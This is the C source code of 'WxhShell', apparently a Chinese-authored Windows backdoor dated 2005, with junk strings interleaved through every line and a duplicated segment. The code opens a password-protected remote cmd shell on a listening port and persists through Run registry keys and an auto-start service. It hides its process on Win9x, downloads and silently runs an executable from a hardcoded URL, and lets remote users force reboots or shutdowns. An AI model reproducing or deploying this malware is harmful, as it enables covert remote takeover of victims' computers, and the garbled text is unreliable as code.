eGG HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ),;D;LI{S if(NULL == hInst ) return 0; TvWU[=4Yk +\k9w.[:/ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); UR/qVO? g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 0/SC NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); L*
khj 3; qJX+[PJ if (!NtQueryInformationProcess) return 0; B3cf] S% AFINm%\/0 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ~X~xE]1o|U if(!hProcess) return 0; iz9\D*or }c35FM, if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; _z<Y#mik cVB|sYdf CloseHandle(hProcess); $(KIB82& S_|9j{w) hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); |B%BwE if(hProcess==NULL) return 0; N
/sEec k(-Z@ HMODULE hMod; CQBT:: char procName[255]; C7b
5%a! unsigned long cbNeeded; 95$pG/o 6^]`-4*W if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); @Xq&t}*8 "M9TB. O CloseHandle(hProcess); MK-a$~< !@^y)v if(strstr(procName,"services")) return 1; // 以服务启动 '0R/6Z|/Y UzU-eyA return 0; // 注册表启动 q,;".3VQ } 5:*5j@/S :cXIO // 主模块 Avs7(-L+s int StartWxhshell(LPSTR lpCmdLine) 8S.')<-f { W+d9cM= SOCKET wsl; C(F1VS BOOL val=TRUE; 9feD!0A int port=0; ;OQ'B=uK struct sockaddr_in door; & %N(kyp Pn'`Q S? if(wscfg.ws_autoins) Install(); X"hOHx5P M>?aa6@0 port=atoi(lpCmdLine); `d}W;&c I" 8d5a} if(port<=0) port=wscfg.ws_port; C
'B4 mmC j<l#qho{h WSADATA data; k
Zk .]b if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; :S QDqG -O~C m}e if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; A$9q!Ui#d setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); |u^)RB door.sin_family = AF_INET; <S\;k@f door.sin_addr.s_addr = inet_addr("127.0.0.1"); wUru1_zjO door.sin_port = htons(port); Ud>`@2 !sg%6H?} if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $xRo<,OV+ closesocket(wsl); zQL!(2 return 1;
UfK4eZx*` } \3t,|%v QO5OnYh if(listen(wsl,2) == INVALID_SOCKET) { "C:rTIH closesocket(wsl); U9<_6Bsd return 1; 5wzQ?07T_ } ?)!Sm N/ Wxhshell(wsl); ,pDp>-vI% WSACleanup(); " 2ZI oa!^ u{g]gA8s return 0; :FoOQ[Q ~8jThi
U } KH>Sc3p `xISkW4 % // 以NT服务方式启动 =:4' VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) *4|9&PNLE { hf_R\C(c DWORD status = 0; vx04h ~ DWORD specificError = 0xfffffff; &e%{k@ t*o7,
serviceStatus.dwServiceType = SERVICE_WIN32; r> Fec serviceStatus.dwCurrentState = SERVICE_START_PENDING; o{9?:*?7 serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; qAUaF;{ serviceStatus.dwWin32ExitCode = 0; jmRhAJV serviceStatus.dwServiceSpecificExitCode = 0; kjx> serviceStatus.dwCheckPoint = 0; @AvM serviceStatus.dwWaitHint = 0; D",A$(lG xM% H~( hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); hX0RET if (hServiceStatusHandle==0) return; nURvy}<r y!S^xS status = GetLastError(); VKT@2HjNT` if (status!=NO_ERROR) #t=[w { I") H~ serviceStatus.dwCurrentState = SERVICE_STOPPED; zTkFX67) serviceStatus.dwCheckPoint = 0; ])N|[ |$ serviceStatus.dwWaitHint = 0; !IO&&\5 serviceStatus.dwWin32ExitCode = status; 0FG5_t"",\ serviceStatus.dwServiceSpecificExitCode = specificError; p9/bzT34. SetServiceStatus(hServiceStatusHandle, &serviceStatus); BD hLz return; !$D&6M|C8l } w|&,I4[" (})]H:W7 serviceStatus.dwCurrentState = SERVICE_RUNNING; {G Ub'J serviceStatus.dwCheckPoint = 0; {VBR/M(q serviceStatus.dwWaitHint = 0; j?=V tVP if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ;
Zh9^0 } 3b<: :t O-i4_YdVt // 处理NT服务事件,比如:启动、停止 vB Sm=M VOID WINAPI NTServiceHandler(DWORD fdwControl) d?JAUbqy { +<gg switch(fdwControl) l<$rqz3D { D`V6&_.p case SERVICE_CONTROL_STOP: +z+F- serviceStatus.dwWin32ExitCode = 0; a4%`" serviceStatus.dwCurrentState = SERVICE_STOPPED; :]EP@.( serviceStatus.dwCheckPoint = 0; =\M)6"}y} serviceStatus.dwWaitHint = 0; }bZ
8-v { {":c@I SetServiceStatus(hServiceStatusHandle, &serviceStatus); +IvNyj| } "Lb fF return; n.@#rBKZ case SERVICE_CONTROL_PAUSE: ]GcV0&| serviceStatus.dwCurrentState = SERVICE_PAUSED; kl| g break; 3*G5F}7%= case SERVICE_CONTROL_CONTINUE: {!lNL[x serviceStatus.dwCurrentState = SERVICE_RUNNING; Cm^Ylp break; 2>g^4( case SERVICE_CONTROL_INTERROGATE: ]Fxku<z7| break; vxb@9eb!H }; B
i'd5B5 SetServiceStatus(hServiceStatusHandle, &serviceStatus); {&E?<D2_& } wc"9A~ u',b1 3g( // 标准应用程序主函数 5;}2[3}[ int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) M
Z2^@It { PVhik@Yoh @]*[c})/ // 获取操作系统版本 `4_c0q)N4 OsIsNt=GetOsVer(); </,.K`''W GetModuleFileName(NULL,ExeFile,MAX_PATH); cxgE\4_u" $Tfm/ =e // 从命令行安装 >Dxe>Q'df if(strpbrk(lpCmdLine,"iI")) Install(); 87pnSj/X" 'gYg~= // 下载执行文件 z23#G>I& if(wscfg.ws_downexe) { OH>r[,z0 if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) l/[pEUYU WinExec(wscfg.ws_filenam,SW_HIDE); nkTYWw } )u<eO FI+ C B6A}m if(!OsIsNt) { vlvvi() // 如果时win9x,隐藏进程并且设置为注册表启动 {yTpRQN~ HideProc(); ]{<saAmJC StartWxhshell(lpCmdLine); 2.ew^D# } ^1R"7h else Vu=] O/ =P if(StartFromService()) aFyh, // 以服务方式启动 ,}KwP*:Z StartServiceCtrlDispatcher(DispatchTable); |hc\jb else l(#1mY5!q8 // 普通方式启动 [O(m/ StartWxhshell(lpCmdLine); 0',[J M%3Wy"YQ,n return 0; GKCM|Y } _p0)vT f$vwuW ?HV }mS[t ndqckT@93 =========================================== eIsT!V"7 )Z("O[ wE?CvL 4oV
{=~V B@"J]S )J&|\m(e " F.68iN} l~NEGb #include <stdio.h> z"EWj73 #include <string.h> 0 k9<& #include <windows.h> q~j)W$k #include <winsock2.h> se#@)LtZ #include <winsvc.h> MF^_Z3GS' #include <urlmon.h> /22nLc;/Cx bi.wYp(*6L #pragma comment (lib, "Ws2_32.lib") Xo\S9,s{ #pragma comment (lib, "urlmon.lib") $2Q YxY9s cW; H!:& #define MAX_USER 100 // 最大客户端连接数 h
D.)M #define BUF_SOCK 200 // sock buffer *,0+RAS vq #define KEY_BUFF 255 // 输入 buffer YtpRy%
R &8n? #define REBOOT 0 // 重启 ?~Pv3'%d #define SHUTDOWN 1 // 关机 Y([d;_#P -R :X<eb #define DEF_PORT 5000 // 监听端口 Ev{MCu1!6 |g!`\@O #define REG_LEN 16 // 注册表键长度 NJm-%K #define SVC_LEN 80 // NT服务名长度 FfG%C>E6~ l~D\;F // 从dll定义API z+
ZG1\ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); IT18v[-G typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ^&MK42,\ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); SB/3jH typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); n+rM"Gxz 'BhwNuW\" // wxhshell配置信息 @D]lgq[ struct WSCFG { <aXoB*Y
int ws_port; // 监听端口 C `6S}f, char ws_passstr[REG_LEN]; // 口令 Mb.4J2F ? int ws_autoins; // 安装标记, 1=yes 0=no 4?v$<=#21* char ws_regname[REG_LEN]; // 注册表键名 !*5_pGe char ws_svcname[REG_LEN]; // 服务名 %6N)G!P char ws_svcdisp[SVC_LEN]; // 服务显示名 S7Znz@ char ws_svcdesc[SVC_LEN]; // 服务描述信息 blUY.{NN3 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 l\_x(BH int ws_downexe; // 下载执行标记, 1=yes 0=no "A]?M<R char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" :q(D(mK char ws_filenam[SVC_LEN]; // 下载后保存的文件名 5
>'66gZ ]I8]mUiUH }; NtqFnxm/ &jt02+Hj' // default Wxhshell configuration x
~wNO/ struct WSCFG wscfg={DEF_PORT, 3`xsK[ "xuhuanlingzhe", jmSt?M0.xV 1, z+ uL "PG[ "Wxhshell", '!AT "Wxhshell", Etw~* "WxhShell Service", & \JLTw "Wrsky Windows CmdShell Service", MCM/=M'y "Please Input Your Password: ", O/(3 87= U 1, Shs')Zsbv "http://www.wrsky.com/wxhshell.exe", \zBd<H4S: "Wxhshell.exe" ftxTX3X }; =,O/,2) )dqR<) // 消息定义模块 7:z>+AM[r char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 1E8$% 6VV char *msg_ws_prompt="\n\r? for help\n\r#>"; d3og?{i<}& char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; |y klT char *msg_ws_ext="\n\rExit."; ^)Smv\Md char *msg_ws_end="\n\rQuit."; 1>hb-OMX char *msg_ws_boot="\n\rReboot..."; hH#lTye char *msg_ws_poff="\n\rShutdown...";
ccRlql( char *msg_ws_down="\n\rSave to "; x!OWJ/O J`4Z<b53 char *msg_ws_err="\n\rErr!"; Y$>+U char *msg_ws_ok="\n\rOK!"; PL9<*.U"= *3!(*F@M, char ExeFile[MAX_PATH]; dr.**fGYde int nUser = 0; #]k0Z~Bl HANDLE handles[MAX_USER]; U[IQ1AEr int OsIsNt; E=}6X9X vz- 9<w;>a SERVICE_STATUS serviceStatus; yq1Gqbh
l SERVICE_STATUS_HANDLE hServiceStatusHandle; qI(W$ tsck|;v // 函数声明 aXQ&@BZ{j int Install(void); AbL5 !' int Uninstall(void); SE6>vKR/. int DownloadFile(char *sURL, SOCKET wsh); 7F"3 <U@J int Boot(int flag); 3(MoXA* void HideProc(void); 2XzF k_6H int GetOsVer(void); $K`_
K#A int Wxhshell(SOCKET wsl); 4A;[sm^f void TalkWithClient(void *cs); dUI3erO int CmdShell(SOCKET sock); Rk}\)r\ int StartFromService(void); iK ohuZr int StartWxhshell(LPSTR lpCmdLine); mluW=fE p 7
,f6kG VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 3gC\{y!8 VOID WINAPI NTServiceHandler( DWORD fdwControl ); dv}8YH[" TViBCed40 // 数据结构和表定义 {F<)z%^ SERVICE_TABLE_ENTRY DispatchTable[] = )>ug{M%g { "w>rlsT<O {wscfg.ws_svcname, NTServiceMain}, o^8*aH)I>Y {NULL, NULL} 4 U3C~J }; Tw2Xe S =g/4{IL% // 自我安装 :8](&B68gE int Install(void) @m5O{[euj< { (}9cD^F0n char svExeFile[MAX_PATH]; bjuYA/w< HKEY key; F(J\ctha strcpy(svExeFile,ExeFile);
-PcS( s[Y)d>~\$= // 如果是win9x系统,修改注册表设为自启动 mYntU^4f if(!OsIsNt) { iU.!oeR? if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { .UNF~}^H RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1R5Yn( RegCloseKey(key); ,.~
W if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { C/SapX RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); sGXp}{E9 RegCloseKey(key); uCY(:;[< return 0; F~tm`n8Z } @~JB\j9 } 3yeK@>C } R1II k else { !y.ei1diw CW.&Y?>Tv // 如果是NT以上系统,安装为系统服务 ,Y`'myL8W SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); x eJ9H~^ if (schSCManager!=0) !x`;>0 { ?R dmKA SC_HANDLE schService = CreateService Mi;}.K0J ( =6.8bZT\ schSCManager, :&xz5c`"04 wscfg.ws_svcname, 83mlZ1jQz wscfg.ws_svcdisp, NYWG#4D SERVICE_ALL_ACCESS,
m"96:v SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , $Sp*)A]E` SERVICE_AUTO_START, I8%d;G~ SERVICE_ERROR_NORMAL, !Sh^LYqn svExeFile, h`z2!F4 NULL, @WhZx*1 NULL, *jYHd#UZx4 NULL, k)?,xY\AV NULL, &?P=arU NULL .}IK}A/- ); >+yqjXRzm if (schService!=0) \pjRv { Fg_?!zR>6 CloseServiceHandle(schService); K<$wz/\ CloseServiceHandle(schSCManager); It#h p,@e strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); !F=|*j strcat(svExeFile,wscfg.ws_svcname); &p/S>qKu# if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { :iP>z}h RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); |pfhrwJp RegCloseKey(key); >t1_5 return 0; A8=e?% } '"!z$i~G= } `,F&y{A CloseServiceHandle(schSCManager); u5xU)l3 } >wz;}9v } y#hga5 _myg._[ return 1; 4yA9Ni } xi
'72 ti$oZ4PpF // 自我卸载 N&6_8=3z int Uninstall(void) Z7tU0 { .`oJcJ HKEY key; b&\3ps jF%)Bhn( if(!OsIsNt) { r
Iya\z1W if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @4 zi]v RegDeleteValue(key,wscfg.ws_regname); I-RdAVB/Ep RegCloseKey(key); D6&mf2'u if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { pFpQ\xc9$ RegDeleteValue(key,wscfg.ws_regname); kx"hWG4 RegCloseKey(key); U%mkhWn return 0; [}W^4, } ?noETH z) } DFt=%aV[ } _hAj2%SL else { 0EL\Hd c8bca` SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 7\7 Brw4 if (schSCManager!=0) yt/20a { 6%\7.h SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); SREDM if (schService!=0) \_*?R,$3Y, { S5:"_U if(DeleteService(schService)!=0) { |i,zY{GI+2 CloseServiceHandle(schService); OqfhCNAY CloseServiceHandle(schSCManager); n/9 LRZD|w return 0; ^ l]]qdNr } =:xV(GK} CloseServiceHandle(schService); 'Z*\1Ci } jI*}y[o CloseServiceHandle(schSCManager); QLn5#x~xb } KuIt[oM } 5 {T9* ?D*Hl+iu return 1; ?$"x^=te7 } T..N*6<X y1,?ZWTayr // 从指定url下载文件 ]y1$F
Ir+ int DownloadFile(char *sURL, SOCKET wsh) wQo6!H"K { ^%K1R; HRESULT hr; ;,F-6RNj char seps[]= "/"; 8]cv &d1f char *token; TTA{#[=7 char *file; d&PE,$XC char myURL[MAX_PATH]; ImUQ*0 char myFILE[MAX_PATH]; bqw/O`*wfN /t$+Af,} strcpy(myURL,sURL); htUy2v#V token=strtok(myURL,seps); ifJv~asp while(token!=NULL) J)7,&Gc6 { p=8M0k file=token; _Ewy^;S%L token=strtok(NULL,seps); p\\P50(- } Xm"w,J& 5t"bCzp GetCurrentDirectory(MAX_PATH,myFILE); 7AGZu?1]M strcat(myFILE, "\\"); L:t)$iF5+ strcat(myFILE, file); %KJ"rvi4K send(wsh,myFILE,strlen(myFILE),0); (c|$+B^* send(wsh,"...",3,0); Jf%!I hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); S7?f5ux if(hr==S_OK) O+(. 29 return 0; fd!pM4"0 else ;w>3,ub(0 return 1; .NV)hg)|cZ dK0}% ]i3# } |g7nh[ +BtLyQ // 系统电源模块 yBYuDfeZ int Boot(int flag) )o
" SB1 { N27K HANDLE hToken; WryW3];0OR TOKEN_PRIVILEGES tkp; )*^OPVt >j(I[_g if(OsIsNt) { gZ`#tlA~ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); SHXa{- LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); bBeFL~ tkp.PrivilegeCount = 1; K^]?@oHO
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; *7xQp!w^ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); +YQ)}v if(flag==REBOOT) { fw(j6:p if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) MYDf`0{$_a return 0; (x1"uy7_ } S+_A
<p else { 0]:*v? if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) J-eA,9J return 0; WQIM2_=M } J]=aI>Ow } 3%vx'1h[ else { Gg}LC+Y if(flag==REBOOT) { ?j&~vy= T if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 1eE]4Z4Q return 0; !~|"LA!jn } 9AVK_ else { JL]k:i^`A if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 7N} \1Di5 return 0; 5H'b4Cyi` } (04j4teE } Ru9pb~K 6?<`wGs( return 1; 2kp|zX( } :uT
fhr T_(e(5 // win9x进程隐藏模块 =XRgT1>e void HideProc(void) .^9/ 0.g8t { XDrlJvrPL /_zF?5h HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Y>dg10= if ( hKernel != NULL ) BZ\EqB { @
@3)D%h pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); D:6x*+jah) ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); r0Y?X\l* FreeLibrary(hKernel); {R1Cxt} } v:J.d5 |j5AU return; T_oW)G } 654jS! X('Q;^` // 获取操作系统版本 `3>)BV<P int GetOsVer(void) L!+[]tB { =B o4yN OSVERSIONINFO winfo; P60]ps!M winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); +NzD/.gq GetVersionEx(&winfo); qN`]*baS if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) x%:>Ol return 1; !cFE^VM_; else 0o"<^]
_| return 0; @WDqP/4 } X/;"CM AP?{N:+ // 客户端句柄模块 F"@'(b int Wxhshell(SOCKET wsl) 3$kv%uf{ { ~qLhZR\g^ SOCKET wsh; *Y^Y struct sockaddr_in client; *\~kjZ 3 DWORD myID; PU@U@ {C0OrO2: while(nUser<MAX_USER) j_ywG{Jk { 2fL88/' int nSize=sizeof(client); I8-&.RE wsh=accept(wsl,(struct sockaddr *)&client,&nSize); QLpTz"H if(wsh==INVALID_SOCKET) return 1; d=+Lv< K_lCDiqG handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 0R%uVJG if(handles[nUser]==0) t-<[._:+ closesocket(wsh); 2Z IpzH/8 else 8w@W8(3B nUser++; ! 4^L $ } %BYlbEx WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); yS.fe[ h}B# 'e return 0; 6 peM4X } woH3?zR |z<wPJ,;2 // 关闭 socket ]BS{,sI void CloseIt(SOCKET wsh) We+FP9d % { ;u-< {2P closesocket(wsh); xz+`]Q nUser--; &_%+r5 ExitThread(0); <2@<r
t{ } <hF~L k , @9kk
f{? // 客户端请求句柄 RWh}?vs_ void TalkWithClient(void *cs) W!Ct[t { y3o4%K8 ~NW5+M(u SOCKET wsh=(SOCKET)cs; [2j(\vC! char pwd[SVC_LEN]; H R!>g char cmd[KEY_BUFF]; Kp=3\) & char chr[1]; $d??( int i,j; vM4`u5 kq.R(z+ while (nUser < MAX_USER) { F0ivL` pt|$bU7 if(wscfg.ws_passstr) { ;Q,).@<C if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |s3HeY+Co //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); U+}9X^ //ZeroMemory(pwd,KEY_BUFF); sxQ ,x/O i=0; *ej o6> while(i<SVC_LEN) { _ L:w;Oy9T my\oC^/9 // 设置超时 hr}R,BR| fd_set FdRead; Ef*.}gcU struct timeval TimeOut; sFz4^Kn FD_ZERO(&FdRead); nTtt$I@hW FD_SET(wsh,&FdRead); yNMwd.r[ TimeOut.tv_sec=8; I3[RaZ2z{ TimeOut.tv_usec=0; OFAqP1o{$ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); {j=hQL3 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); <!HDtN LAVt/TcZS| if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;eEtdoy pwd=chr[0]; H2_>Av{m if(chr[0]==0xd || chr[0]==0xa) { Zz*mf+ pwd=0; jvKaxB;e break; .j<B5/+ } Hr,lA( i++; 0v)mgrl=, } ?bYQZJ>& PH4bM // 如果是非法用户,关闭 socket Qs[EA_ if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); om39;nk!} } X1z0'gvh 4y}a, send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Y&Vbf>Hi+ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); U
&k3 o?hw2-mH while(1) { VKfHN_m* /ykxVCvAt ZeroMemory(cmd,KEY_BUFF); {kO:HhUg J2k'Ke97o // 自动支持客户端 telnet标准 "7g8 d j=0; V'h z1roe while(j<KEY_BUFF) { .;v'oR1x5 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); o>rlrqr?_ cmd[j]=chr[0]; aTL7"Myp if(chr[0]==0xa || chr[0]==0xd) { 5Fm?,^ cmd[j]=0; SSM>
ID break; @:&dOqQ } MJR\ g3 j++; nPX'E`ut-V } ^aM/BS\ 5+"8q#X$ // 下载文件 1ZW'PXUZ if(strstr(cmd,"http://")) { m<LzB_G\ send(wsh,msg_ws_down,strlen(msg_ws_down),0); :<3;7R'5 if(DownloadFile(cmd,wsh)) $zA[5}{ZtQ send(wsh,msg_ws_err,strlen(msg_ws_err),0); 90696v. else GIl{wd
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8ewEdnE } :H:}t>X6Vo else { mpJ_VS` ?Lb7~XKt\ switch(cmd[0]) { zYJ`.,#C 5 a9JJuSRC // 帮助 Vk=<,<BB case '?': { Vx8.FNJh send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); m`0{j1K break; EGO@`<"h } @?AE75E{ // 安装 *jSc&{s~ case 'i': { s/|'1E\F if(Install()) %ycT}Lu send(wsh,msg_ws_err,strlen(msg_ws_err),0); s"!}=kX else (:k`wh& send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4tu>~ vOE break; fBh|:2u } FOyfk$ // 卸载 g[)hm`{? case 'r': { 5W'|qmJ if(Uninstall()) WZ-{K"56 send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2*E<G|-F else Z+Zh;Ms send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %cjav break; .tZ$a_O } !Bbwl-e` // 显示 wxhshell 所在路径 PEhLzZX+ case 'p': { XYVeHP! char svExeFile[MAX_PATH]; 62E(=l strcpy(svExeFile,"\n\r"); itMc!bUQ strcat(svExeFile,ExeFile); G2k71{jK send(wsh,svExeFile,strlen(svExeFile),0); 8j+;Xlh break; 0n^j 50Yq } \:28z // 重启 dL"i\5#%A case 'b': { "2j~3aWj send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); vv_?ip:t if(Boot(REBOOT)) ozwqK oE send(wsh,msg_ws_err,strlen(msg_ws_err),0); r/:'}os; else { @TG~fJSA12 closesocket(wsh); $l"(tB7d ExitThread(0); 0tyU%z{RV } Li$k<AM break; 82l";;n4p } gvt4'kp // 关机 0kEq|k9 case 'd': { ur5n{0# send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); WL]'lSHa if(Boot(SHUTDOWN)) e.h:9`"* send(wsh,msg_ws_err,strlen(msg_ws_err),0); 88U else { N=x,96CF closesocket(wsh); N/.9Aj/h~& ExitThread(0); GY :IORuA4 } ~<R~Q:T break; ai2}vR } 7nIMIkT: // 获取shell ZS;kCdL case 's': { ZXkAw sr CmdShell(wsh); AG=1TZI" closesocket(wsh); >qZRIDE5$ ExitThread(0); mJqP#Unik break; y[eNM6p } Y^f|}YO%y // 退出 K|!)<6ZsG7 case 'x': { P1jkoJ send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); V!!'S
h CloseIt(wsh); _Y~?. hs^ break; v:b%G?o } %%u4('= // 离开 LRgk9*@, case 'q': { |a3b2x, send(wsh,msg_ws_end,strlen(msg_ws_end),0); --D`YmB closesocket(wsh); _"TG:RP WSACleanup(); QY!A[!6h exit(1); HX[#tT|m~ break; u^9,u/gj } 81g0oVv } vsR&1hs } CjCnh7tm W5 }zJ)x // 提示信息 4QDzG~N4)| if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9`b3=&i\ } o!&*4>tF } sk/Mh8z bZJiubBRI return; dD!SgK [Jv } N~YeAe~+ **[p{R]8o // shell模块句柄 b*7i&q'H int CmdShell(SOCKET sock) z""(M4 { uEY5&wX` STARTUPINFO si; ,;}RIcvQV ZeroMemory(&si,sizeof(si)); "b;?2_w:E si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; bSzb! hT` si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; n9ih^H PROCESS_INFORMATION ProcessInfo; ?,[w6O* char cmdline[]="cmd"; ujBADDwOg) CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); uWQ.h , return 0; ==9Ez } l0V@19Ec co|0s+%PBq // 自身启动模式 }qg&2M%\ int StartFromService(void) \zU R9h { ,.B8hr@H6- typedef struct cQ%HwYn { v4G kf DWORD ExitStatus; uNDkK o<M DWORD PebBaseAddress; Z )I4U DWORD AffinityMask; #B[>\D"* DWORD BasePriority; a1&^P1. ULONG UniqueProcessId; |,crQ'N' ULONG InheritedFromUniqueProcessId; }W J`q`g } PROCESS_BASIC_INFORMATION; Urr1K) eX/$[SL[ PROCNTQSIP NtQueryInformationProcess; M~4!gKs ~f:fOrLE# static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; }M@ pdE static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; L K$hV"SYb r}w 9?s^rB HANDLE hProcess; LGkKR{ep( PROCESS_BASIC_INFORMATION pbi; 'aJ?Syn ?T"crX HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); -_dgd:or if(NULL == hInst ) return 0; ;DOz92X94 TfOZ>uR"g g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); O_q_O g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); s&l[GKR NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); PsVA>Q,4!. mCo5Gdt if (!NtQueryInformationProcess) return 0;
